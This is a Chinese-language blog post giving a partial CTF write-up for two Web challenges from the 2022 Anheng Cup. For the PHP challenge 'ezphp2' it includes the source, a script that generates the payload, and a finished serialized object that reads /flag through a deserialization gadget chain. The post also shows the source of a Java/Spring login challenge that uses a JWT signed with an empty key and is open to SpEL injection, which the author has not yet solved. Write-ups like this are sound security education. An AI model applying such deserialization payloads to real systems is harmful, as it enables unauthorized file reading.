2022安恒杯部分WP-Web篇

AabyssZG
2022-12-10 / 0 评论 / 546 阅读 / 正在检测是否收录...
温馨提示:
本文最后更新于2022年12月10日,已超过582天没有更新,若内容或图片失效,请留言反馈。

比赛概述

总体上来说,比赛难度还是有的
但是我自身的一些欠缺也是存在的,赛后复盘的时候发现自己在一些地方没注意,导致该拿的分数没拿到,这是真的非常可惜的

ezphp2

这是一道反序列化的题目,源码如下:

<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
    public $a;
    public function __construct($a)
    {
        $this->a = $a;
    }
    public function __destruct()
    {
        foreach (explode("-",$this->a) as $value){
            echo $value." ";
        }
    }
}
class B extends C {
    public $c;
    public function FileReader(){
        if (file_exists($this->c)){
            echo file_get_contents($this->c);
        }else{
            echo "file_not_found";
        }
    }
    public function __toString()
    {
        $this->FileReader();
        return "";
    }

}
class C{
    public $what;
    public $haha;
    public function __wakeup()
    {
        $this->c = "no way";
        $this->what = $this->haha;

    }
}
$p = $_GET["p"];
if (isset($p)){
    unserialize($p);
}else{
    new A("Welcome-hacker");
}

看起来,是要将文件名路径传给$c,然后读取文件内容出来即可

这里要把A类里面的传入B类,然后常规过wakeup即可,但是我比赛的时候忘记过wakeup了。。。
本来我自己都是手工构造序列化内容的,但赛后突然发现另外一种解题思路:

<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
    public $a;
    public function __construct($a)
    {
        $this->a = $a;
    }
    public function __destruct()
    {
        foreach (explode("-",$this->a) as $value){
            echo $value." ";
        }
    }
}
class B extends C {
    public $c="/flag";
    public function FileReader(){
        if (file_exists($this->c)){
            echo "<br>";
            echo "Flag为:" . file_get_contents($this->c);
        }else{
            echo "file_not_found";
        }
    }
    public function __toString()
    {
        $this->FileReader();
        return "";
    }

}
class C{
    public $what;
    public $haha;
    public function __wakeup()
    {
        $this->c = "no way";
        $this->what = $this->haha;
    }
}

$bbb=new B();
$asd=new A($a=$bbb);
print_r($asd);
echo "<br>";
echo "构造反序列化字符串为:" . serialize($asd);
?>

可以这样直接输出出来!!!
反序列化输出flag.png

解题Payload如下:

O:1:"A":1:{s:1:"a";O:1:"B":3:{s:1:"c";s:5:"/flag";s:4:"what";N;s:4:"haha";N;}}

lander

这是一道Java写的Web登录题,给了源码,目录结构如下:

F:.
│  Easyjava2Application.java
│
├─controller
│      Index.java
│
└─Utils
        CyberUtils.java
        JwtUtils.java
        OtherUtils.java

Easyjava2Application.java:

package com.ctf.lander;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class Easyjava2Application {

    public static void main(String[] args) {
        SpringApplication.run(Easyjava2Application.class, args);
    }

}

Index.java:

package com.ctf.lander.controller;

import com.ctf.lander.Utils.JwtUtils;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.util.Map;

@Controller
public class Index {
    @RequestMapping(value = "/")
    public String index()throws Exception{
        return "index";
    }

    @RequestMapping(value = "/login")
    public void login(String username, HttpServletResponse response)throws Exception{
        String jwt  = JwtUtils.getToken(username);
        Cookie cookie = new Cookie("auth",jwt);
        response.addCookie(cookie);
        response.sendRedirect("/success");
    }

    @ResponseBody
    @RequestMapping(value = "/success")
    public String success(Model model, HttpServletRequest request, HttpServletResponse response)throws Exception{
        Cookie[] cookies = request.getCookies();
        try {
            Map result = JwtUtils.parseToken(cookies[0].getValue());
            String username = result.get("sub").toString();
            String uuid = result.get("jti").toString();
            if (uuid.contains("flag")||uuid.contains("/")){
                return "no";
            }
            ExpressionParser expressionParser = new SpelExpressionParser();
            Expression time = expressionParser.parseExpression(String.format("T(com.ctf.lander.Utils.OtherUtils).FileRead('%s')",uuid));
            return username+" create at "+time.getValue();
        }catch (Exception e){
            response.sendRedirect("/");
            return "";
        }
    }

}

CyberUtils.java:

package com.ctf.lander.Utils;

import org.springframework.util.DigestUtils;

public class CyberUtils {
    public static byte[] Md5(String str)throws Exception{
        return DigestUtils.md5DigestAsHex(str.getBytes("utf-8")).getBytes();
    }
    public static byte[] Md5()throws Exception{
        return DigestUtils.md5DigestAsHex("".getBytes("utf-8")).getBytes();
    }
}

JwtUtils.java:

package com.ctf.lander.Utils;

import io.jsonwebtoken.Claims;
import io.jsonwebtoken.JwtBuilder;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;

import java.util.Date;
import java.util.UUID;

public class JwtUtils {
    public static String getToken(String username) throws Exception{
        String uuid = UUID.randomUUID().toString();
        JwtBuilder jwtBuilder =  Jwts.builder()
                .setId(uuid)
                .setSubject(username)
                .setIssuedAt(new Date())
                .signWith(SignatureAlgorithm.HS256, CyberUtils.Md5());
        OtherUtils.FileWrite(uuid);
        return  jwtBuilder.compact();
    }
    public static Claims parseToken(String token)throws Exception{
        Claims claims = Jwts.parser()
                .setSigningKey(CyberUtils.Md5())
                .parseClaimsJws(token)
                .getBody();
        return claims;
    }
}

OtherUtils.java:

package com.ctf.lander.Utils;

import java.io.File;
import java.io.FileReader;
import java.io.FileWriter;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Date;

public class OtherUtils {
    final static String Base_dir = "/tmp/";
    public static void FileWrite(String filename)throws Exception{
        File file = new File(Base_dir+filename);
        if (!file.exists()){
            file.createNewFile();
        }
        FileWriter fileWriter = new FileWriter(Base_dir+filename);
        fileWriter.write(new Date().toString());
        fileWriter.close();
    }
    public static String FileRead(String filename)throws Exception{
        File file = new File(Base_dir+filename);
        if (!file.exists()){
            return "";
        }
        byte[] bytes = Files.readAllBytes(Paths.get(Base_dir+filename));
        String content = new String(bytes, StandardCharsets.UTF_8);
        return content;
    }
    public static String FileRead(Boolean bool)throws Exception{
        if (bool){
            byte[] bytes = Files.readAllBytes(Paths.get("/flag"));
            String content = new String(bytes, StandardCharsets.UTF_8);
            return content;
        }
        return "";
    }
}

这道题我还在研究中,打开是一个空白界面,然后能在代码里面看到/login和/success两个目录

访问/login,能获得一个jwt格式的cookie,然后自动跳转到/success
我猜测,是要将cookie改为管理员的格式,传给/success后才能出现flag

4

评论 (0)

取消